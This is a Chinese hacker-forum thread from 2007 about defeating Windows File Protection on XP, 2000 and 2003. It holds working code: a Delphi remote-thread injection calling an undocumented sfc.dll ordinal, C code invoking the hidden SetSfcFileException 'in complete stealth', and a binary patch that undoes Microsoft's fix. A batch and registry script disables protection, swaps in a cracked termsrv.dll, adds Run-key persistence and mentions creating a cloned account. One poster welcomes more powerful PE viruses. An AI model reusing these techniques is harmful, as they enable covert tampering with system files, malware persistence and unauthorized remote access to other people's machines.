[讨论]WINDOWS文件保护彻底解除的编程方法
议题作者:still信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
想写个彻底解除WINDOWS文件保护的程序,但是用了几个方法都不行,请教下大家有没有什么好方法!
首先改变注册表方法,在XP SP2下没有成功,方法是:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下修改SFCDisable键值为16进制ffffff9d,修改SfcQuota键值为0,修改SFCScan键值为0,修改SFCShowProgress键值为1,结果无效,即使重启计算机也还是无效,不知道是否还要修改别的地方?
第二中方法,使用sfc.dll里的WINDOWS未公布函数SfcWLEventLogoff,必须是注入Winlogon.exe进程呼叫此函数,总感觉这种方法不地道,因为要使用CreateRemoteThread,所以主动防御就会杀杀杀!
不知道各位有没有什么好方法在2000、XP、2003所有版本下通用方法关闭WIINDOWS文件保护机制?
另外发现了个工具,可以关闭WINDOWS文件保护,但是不知道编程原理,如果知道的朋友麻烦告诉下,谢谢 你可以查找MSDN啊,里面的一些系统AIP函数与此相关的都有,自己可以看看。本人学习时间不长,不过常看看MSDN感觉很有帮助哦。 你试试这个代码看:
//拿到dubug权限后,调用这个函数
function DisableSFC: Boolean;
var
Process, SFC, PID, Thread, ThreadID: dword;
begin
Result := False;
SFC := LoadLibrary('sfc.dll');
GetWindowThreadProcessID(FindWindow('NDDEAgnt', nil), @PID);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Thread := CreateRemoteThread(Process, nil, 0, GetProcAddress(SFC, pchar(2 and $ffff)), nil, 0, @ThreadId);
if Thread = 0 then Exit;
CloseHandle(Thread);
CloseHandle(Process);
FreeLibrary(SFC);
Result := True;
end; 楼上的,麻烦你仔细看下我发的帖子,呵呵
你说的那种方法我已经在帖子里说过了
其实已经弄明白了XPlite的方法,但是感觉这种方法很麻烦,要修改sfc_os.dll,而且每个系统的sfc_os.dll版本都不同,修改的地址也不同,用起来比较麻烦,我到是觉得用SfcWLEventLogoff这个函数不错,相信SfcWLEventLogoff这个函数不用CreateRemoteThread去执行winlogon.exe进程也可以用。昨天反了下sfc_os.dll函数,由于反汇编能力比较差,只看出SfcWLEventLogoff这个未公布函数有一个参数,不知道哪个朋友可以看看SfcWLEventLogoff这个函数怎么用?SfcWLEventLogoff函数在c:\windows\system32\sfc_os.dll里,谢谢了 [url]http://www.xfocus.net/articles/200402/672.html[/url] 谢gyzy兄,可惜这个方法要重新启动系统才可以…… 呵呵,要想破解永远都不能嫌麻烦!
修改SFCDisable键值为0xffffff9d是几年前的事情了。
后来MS对sfc_os.dll出了补丁,检查这个键值为0xffffff9d(-63)的话,就会将其改为1。
反汇编如下:
76C3F8DF |> \A1 D8E1C476 MOV EAX,DWORD PTR DS:[76C4E1D8]
76C3F8E4 |. 83F8 9D CMP EAX,-63 ;比较是否为0xffffff9d
76C3F8E7 |. 75 08 JNZ SHORT sfc_os.76C3F8F1
76C3F8E9 |. 33C0 XOR EAX,EAX
76C3F8EB |. 40 INC EAX ;是的话就置eax为1(微软已经出过N次补丁了,这是最近一次的)
76C3F8EC |. A3 D8E1C476 MOV DWORD PTR DS:[76C4E1D8],EAX
76C3F8F1 |> 3BC7 CMP EAX,EDI
76C3F8F3 |. 74 52 JE SHORT sfc_os.76C3F947
76C3F8F5 |. 33C9 XOR ECX,ECX
76C3F8F7 |. 41 INC ECX
76C3F8F8 |. 3BC1 CMP EAX,ECX
76C3F8FA |. 0F84 29010000 JE sfc_os.76C3FA29
76C3F900 |. 83F8 02 CMP EAX,2
76C3F903 |. 0F84 0F010000 JE sfc_os.76C3FA18
76C3F909 |. 83F8 03 CMP EAX,3
76C3F90C |. 0F84 86000000 JE sfc_os.76C3F998
76C3F912 |. 83F8 04 CMP EAX,4
76C3F915 |. 74 73 JE SHORT sfc_os.76C3F98A
76C3F917 |. 83F8 9D CMP EAX,-63
76C3F91A |. 0F84 18010000 JE sfc_os.76C3FA38 ;微软偷懒,这后面的关键代码还是没有改!
所以说只要把
xor eax,eax
inc eax
全部改为nop,微软的补丁就失效了! [quote]引用第7楼zjjmj于2007-05-10 17:19发表的 :
呵呵,要想破解永远都不能嫌麻烦!
修改SFCDisable键值为0xffffff9d是几年前的事情了。
后来MS对sfc_os.dll出了补丁,检查这个键值为0xffffff9d(-63)的话,就会将其改为1。
反汇编如下:
76C3F8DF |> A1 D8E1C476 MOV EAX,DWORD PTR DS:[76C4E1D8]
.......[/quote]
呵呵,谢谢楼上的,如果是这样,我看还不如用SfcWLEventLogoff这个函数,省事而且管用
如果直接修改sfc_os.dll,那么WINDOWS文件保护机制也不会允许你这么做的,一修改它就会弹出那个框框! 刚才去Google上搜了一下,居然还有如此简单的办法!sfc_os.dll导出的第五号函数!
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
//Now we can modify the system file in a complete stealth.
} 好啊,真的可以,太高兴了,哈哈,楼上的我爱你..
我在xp下可以用,不知其它系统行不行?
让PE病毒来的更猛烈一些吧!! [quote]引用第9楼zjjmj于2007-05-14 09:43发表的 :
刚才去Google上搜了一下,居然还有如此简单的办法!sfc_os.dll导出的第五号函数!
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
.......[/quote]
不是吧???zjjmj兄!我在XP SP2下用Dependency walker工具没有发现有5号函数,但是这个方法又可以,不知道怎么搞的,5号函数名是什么? 楼上的去学一下 什么叫导出表吧
有的函数本来就是没有名字的,只有序号,
特别是windows刻意隐藏的api [s:270] [s:270] [s:270] [quote]引用第12楼husheng34于2007-05-15 14:48发表的 :
楼上的去学一下 什么叫导出表吧
有的函数本来就是没有名字的,只有序号,
特别是windows刻意隐藏的api [s:270] [s:270] [s:270][/quote]
谢谢楼上提醒,现在问题解决了,可以结帖了,呵呵 [quote]引用第9楼zjjmj于2007-05-14 09:43发表的 :
刚才去Google上搜了一下,居然还有如此简单的办法!sfc_os.dll导出的第五号函数!
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
.......[/quote]
[quote]引用第10楼husheng34于2007-05-14 10:39发表的 :
好啊,真的可以,太高兴了,哈哈,楼上的我爱你..
我在xp下可以用,不知其它系统行不行?
让PE病毒来的更猛烈一些吧!![/quote]
我在Dev-C++里测试了,没效果,删除calc.exe还是能被恢复 可以的,2003测试通过,不过重启保护又生效,
我一怒之下替换 winlogon.exe成功,
在这丫的开保护前,就把保护停了,哈哈
等我全测好了,放上来,无注册表,无进程,无注入,无服务,
只有个临时文件
我想过卡吧主动,和防火墙问题不大吧,大不了,我替换DNS服务,
看防火墙如何禁 在windows2000下有效吗?
我没有测试成功。 记得黑客之门里好像也有来SFC的代码,不妨看看. [quote]引用第8楼zjjmj于2007-05-14 09:43发表的 :
刚才去Google上搜了一下,居然还有如此简单的办法!sfc_os.dll导出的第五号函数!
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
.......[/quote]
L"c:\\windows\\system32\\calc.exe", 这参数真不好传
转换成了Unicode类型的
可是执行后没有效果
哪位知道 不妨说下 我对这个问题也折磨了很久
研究了以下
用dos脚本就可以实现,关闭并成功替换
原理:通过修改注册表关闭文件保护必须重起生效,所以把我门要替换的文件必须等到下次重起后在替换,文件保护的对话筐才会不跳出
根据这一原理我以做了个3389双开的脚本,不会跳出对话筐,并自动添加克隆帐号(bat脚本实现)
比如破解3389多用户的部分代码
<3389open.bat>
regedit /s start.reg
C:\WINDOWS\system\3389.bat
rem 可能不能重命名自己,只是一个思路而已
rename C:\WINDOWS\system\3389open.bat 3389.bat
rem先修改缓存的文件
ren %SystemRoot%\system32\dllcache\termsrv.dll termsrv.dl_>nul 2>nul
ren %SystemRoot%\system32\termsrv.dll termsrv.dl_>nul 2>nul
rem把破解覆盖
copy /y C:\WINDOWS\system\termsrv.dll %SystemRoot%\system32\dllcache\>nul 2>nul
copy /y C:\WINDOWS\system\termsrv.dll %SystemRoot%\system32\>nul 2>nul
rem 按装后,当首次重起开启3389多用户,因为破解文件保护后,要重起后才生效,否则会跳出文件替换的对话框
rem 主要防止用户在没关机之前多次运行本程序,否则第二次运行后会跳出文件替换的对话框
<start.reg>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"多用户"="C:\\WINDOWS\\system\\3389open.bat"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"SFCDisable"=dword:ffffff9d 方法有,SfcTerminateWatcherThread,SfcFileException两个函数都能达到目的。
修改SFCDisable键值为0xffffff9d,这个方法看上去是过时了,不过patch sfc相关dll还是行的通的,逆向一下就能找到这个键值。 小弟没学过汇编,能否直接把上面的代码编译成EXE? [quote]引用第5楼still于2007-05-09 20:54发表的 :
谢gyzy兄,可惜这个方法要重新启动系统才可以……[/quote]
先FreeLibrary,然后Patch掉sfc.dll和sfc_os.dll好了
永久关闭
页:
[1]